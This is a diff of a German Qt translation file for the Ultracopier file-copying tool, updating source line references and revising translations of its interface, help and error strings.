- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation>Warnung</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
- <translation>Ultracopier bereits ausgeführt wird, direkt vor der Taskleiste (neben der Uhr) klicken, um es zu benutzen</translation>
+ <translation>Ultracopier wird bereits ausgeführt. Klicken Sie mit der rechten Maustase auf das Icon im Infobereich der Taskleiste</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Problem an der Lektüre, oder Dateigröße ist Null</translation>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
+ <translation>Lesefehler, oder Dateigröße=0</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
- <translation>Diese Datei wird nicht unterstützt Transferliste</translation>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
+ <translation>Mögliche Werte sind:</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
- <translation>Unfähig, die Transferliste Datei zu öffnen</translation>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
+ <translation>Optionen anzeigen</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
- <translation>Die Argumente possibles sind:</translation>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>Zum Kopieren von Quelle nach Ziel, getrennt durch Leerzeichen. Bei Ziel=? fragt Supercopier nach</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
- <translation>Um diese Hilfe haben</translation>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>Zum Verschieben von Quelle nach Ziel, getrennt durch Leerzeichen. Bei Ziel=? fragt Supercopier nach</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
- <translation>Um die andere Instanz läuft (falls haben) quit</translation>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
+ <translation>Ungültiger Befehl</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
- <translation>Um Transferliste passieren zu tun</translation>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
+ <translatorcomment>The original english text does not make sense.</translatorcomment>
+ <translation>Diese Datei wird nicht unterstützt Transferliste</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
- <translation>Um Quellen, die von Platz bis zum Ziel getrennt zu kopieren. Wenn das Ziel &quot;?&quot;, Wird ultracopier es für den Benutzer fragen,</translation>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
+ <translation>Die Transferlistendatei kann nicht geöffnet werden</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
- <translation>Wie oben, aber mit Umzug</translation>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation>Um diese Hilfe anzuzeigen</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
- <translation>Command line nicht verstehen</translation>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
+ <translation>Um andere Instanzen zu beenden (falls laufend)</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation>Transferliste öffnen</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation>Hilfe</translation>
</message>
@@ -82,329 +89,408 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation>Warnung</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Cannot find any copy engine with motions support</source>
- <translation>Finde keine Kopie Motor mit Bewegungen zu unterstützen</translation>
+ <translatorcomment>Motions? Do you mean &quot;move&quot;?</translatorcomment>
+ <translation type="obsolete">Finde keine Kopier-Engine mit Motions-Unterstützung</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
<source>Cannot find any compatible engine!</source>
- <translation>Finde keine kompatiblen Motor!</translation>
+ <translation>Finde keine kompatible Engine!</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
<source>This copy engine does not support motions</source>
- <translation>Diese Kopie Engine unterstützt keine Bewegungen</translation>
+ <translation type="obsolete">Diese Kopier-Engine unterstützt keine Motions</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
- <translation>Kann keinen Motor mit diesem Namen: %1</translation>
+ <translation>Finde keine Engine mit diesem Namen: %1</translation>
+ </message>
+</context>
+<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation>Fehler</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation>Fehler während Empfang der Kopier/Verschieben-Liste
+%1</translation>
</message>
</context>
<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation>Fehler</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
- <translation>Kann eine Kopie Motor Instanz zu erhalten</translation>
+ <translation>Bekomme keine Instanz der Kopier-Engine</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
- <translation>Das Argument für den Modus ist nicht zu verstehen</translation>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation>Bekomme keine Instanz der Engine</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation>Die Parameter sind in diesem Modus ungültig</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation>Möchten Sie kopieren? Wenn nicht, wird verschoben.</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
- <translation>Unfähig, die Schnittstelle zu laden, kopieren abgebrochen</translation>
+ <translation>Konnte Oberfläche nicht laden. Kopiervorgang abgebrochen</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
- <translation>Unfähig, die Kopie Motorlast, kopieren abgebrochen</translation>
+ <translation>Konnte Kopier-Engine nicht laden. Kopiervorgang abgebrochen</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
- <translation>übertragen Modus</translation>
+ <translation>Transfermodus</translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
- <translation>Wollen Sie tun als Kopie? Else, wenn Sie nicht antworten, wird es verschoben werden.</translation>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
+ <translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
- <translation>kopieren Motor</translation>
+ <translation>Kopier-Engine</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
- <translation>Kopie</translation>
+ <extracomment>a copy</extracomment>
+ <translation>Kopieren</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
- <translation>Bewegen</translation>
+ <extracomment>a move</extracomment>
+ <translation>Verschieben</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation>Pause</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation>Fortsetzen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
- <translation>überspringen</translation>
+ <translation>Überspringen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation>Unbegrenzt</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>seconds?</translatorcomment>
+ <translation>s</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation>Zu groß</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Byte?</translatorcomment>
+ <translation>B</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Kilobyte</translatorcomment>
+ <translation>KB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Megabyte</translatorcomment>
+ <translation>MB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Gigabyte</translatorcomment>
+ <translation>GB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Terrabyte</translatorcomment>
+ <translation>TB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Petabyte</translatorcomment>
+ <translation>PB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Etabyte</translatorcomment>
+ <translation>EB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Zetabyte</translatorcomment>
+ <translation>ZB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
- <translation type="unfinished"></translation>
+ <translatorcomment>Yotabyte</translatorcomment>
+ <translation>YB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation>Weniger als %10 Sekunden</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
- <translation>Über Noch %10 Sekunden</translation>
+ <translation>Ungefähr noch %10 Sekunden</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
- <translation>Über %1 minuten vor</translation>
+ <translation>Ungefähr noch %1 Minuten</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
- <translation>Über %1 verbleibenden Stunden</translation>
+ <translation>Ungefähr noch %1 Stunden</translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translatorcomment>evtl. &quot;Datenübertragung&quot;, aber ich denke &quot;Transfer&quot; ist hier besser</translatorcomment>
+ <translation>Transfer</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation>Start</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation>Quelle</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation>Größe</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation>Ziel</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
- <translation>Verlassen</translation>
+ <translation>Beenden</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation>Ziel</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation>Verbleibende Zeit:</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation>Auflistung</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation>Kopieren</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
- <translation>Auflisten und Kopieren</translation>
+ <translatorcomment>not sure... depends on context</translatorcomment>
+ <translation>Auflistung und Kopiervorgang</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation>Fragen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation>Überschreiben</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
- <translation>Überschreiben, wenn neuere</translation>
+ <translation>Überschreiben, falls neuer</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
- <translation>Überschreiben, wenn die letzten Änderungsdaten unterschiedlich sind</translation>
+ <translation>Überschreiben, falls die letzten Änderungsdaten unterschiedlich sind</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation>Umbenennen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
- <translation>Setzen Sie auf Ende der Liste</translation>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
+ <translation>Ans Ende der Liste verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation>Fertig in %1</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
- <translation>Wählen Sie Source-Verzeichnis</translation>
+ <translation>Wählen Sie das Quellverzeichnis</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation>Wählen Sie das Zielverzeichnis</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation>Interner Fehler</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
- <translation>Wählen Sie eine oder mehrere Dateien zu öffnen</translation>
+ <translation>Wählen Sie eine oder mehrere Dateien zum Öffnen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation>Alle Dateien</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
- <translation>Speichern Transferliste</translation>
+ <translation>Transferliste speichern</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
- <translation>Öffnen Sie Transferliste</translation>
+ <translation>Transferliste öffnen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
- <translation>Transfer-Liste</translation>
+ <translation>Transferliste</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation>Fehler</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation>Auf dieser Plattform nicht unterstützt</translation>
</message>
@@ -412,67 +498,94 @@
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
- <translation>Über ultracopier</translation>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
+ <translation>Über Ultracopier</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
- <translation>Basierend auf Qt. Es bieten erweiterte Kopierer mit erweiterten Funktionen. Es ist unter GPL3.
-%1: Diese Version wird als Version kompiliert.</translation>
+ <translation>Basiert auf Qt. Erweitertes Tool um Dateien zu kopieren (Lizenz: GPLv3).
+Diese Version wurde kompiliert als Version: %1.</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation>Plattform: %1</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation>Über Qt</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
- <translation>Führen Sie eine Absturz</translation>
+ <translatorcomment>Clumsy... depends on context</translatorcomment>
+ <translation>Absturz ausführen</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
- <translation>Speichern Bug-Report</translation>
+ <translation>Fehlerbericht speichern</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation>Schließen</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation>Über Supercopier</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
- <translation>Für http://portableapps.com/</translation>
+ <translation>Zu http://portableapps.com/</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation>Portable und &quot;Alles-in-Einem&quot; Version</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation>Portable Version</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation>&quot;Alles-in-Einem&quot; Version</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation>Normale Version</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation>http://ultracopier-de.first-world.info/</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation>http://ultracopier.first-world.info/download.html</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Weitere Informationen finden Sie auf der Website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
@@ -481,35 +594,88 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation>Warnung</translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
- <translation>Timeout beim Neukomposition Daten von angeschlossenen Clients</translation>
+ <translation>Timeout beim Zusammenfügen der Daten von verbundenen Clients</translation>
</message>
</context>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation>Fehler</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
- <translation>Log-Datei bereits geöffnet ist, Fehler: %1</translation>
+ <translation>Log-Datei ist bereits geöffnet, Fehler: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
